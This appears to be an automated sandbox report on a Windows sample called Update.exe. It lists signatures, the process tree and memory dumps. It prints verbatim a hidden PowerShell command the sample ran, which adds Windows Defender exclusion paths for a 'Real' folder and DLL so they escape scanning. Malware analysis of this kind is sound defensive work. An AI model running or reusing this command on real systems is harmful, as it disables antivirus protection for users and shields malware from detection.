Analysis
- user interaction
yes - max time kernel
12s - max time network
14s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
20/08/2026, 02:56
General
- Target Update.exe
- Size 8.2MB
- Sample260820-dff7kaydqa
- SHA256 b42d62f0e5275ed85cb8451973f6d3b953ab024c685cf9bb90bf10dbf48ad3b2
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Modifies data under HKEY_USERS 2 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Update.exe"C:\Users\Admin\AppData\Local\Temp\Update.exe"1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';$want=@('C:\Users\Admin\AppData\Local\Real','C:\Users\Admin\AppData\Local\Temp\Real.dll');$stale='C:\Users\Admin\AppData\Local\Temp';foreach($p in $want){ $ex=@((Get-MpPreference).ExclusionPath); if($ex -notcontains $p){ Add-MpPreference -ExclusionPath $p }};if($stale -and @((Get-MpPreference).ExclusionPath) -contains $stale){ Remove-MpPreference -ExclusionPath $stale};$ex=@((Get-MpPreference).ExclusionPath);$miss=$want | Where-Object { $ex -notcontains $_ };if($miss.Count -eq 0 -and $ex -notcontains $stale){exit 0}else{exit 1}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_uc2jes2d.acu.ps1
memory/1020-38-0x000002B7C9910000-0x000002B7C992C000-memory.dmp
memory/1020-40-0x000002B7C9930000-0x000002B7C993A000-memory.dmp
memory/1020-28-0x000002B7C98A0000-0x000002B7C98C2000-memory.dmp
memory/1020-30-0x000002B7C9970000-0x000002B7C9980000-memory.dmp
memory/1020-31-0x00007FF4EDC60000-0x00007FF4EDC70000-memory.dmp
memory/1020-21-0x000002B7C9970000-0x000002B7C9980000-memory.dmp
memory/1020-39-0x000002B7CBCF0000-0x000002B7CBDA3000-memory.dmp
memory/1020-22-0x000002B7C9970000-0x000002B7C9980000-memory.dmp
memory/1020-41-0x000002B7CBEB0000-0x000002B7CBECC000-memory.dmp
memory/1020-42-0x000002B7C9940000-0x000002B7C994A000-memory.dmp
memory/1020-43-0x000002B7CC040000-0x000002B7CC05A000-memory.dmp
memory/1020-44-0x000002B7C9950000-0x000002B7C9958000-memory.dmp
memory/1020-45-0x000002B7C9960000-0x000002B7C9966000-memory.dmp
memory/1020-46-0x000002B7CBED0000-0x000002B7CBEDA000-memory.dmp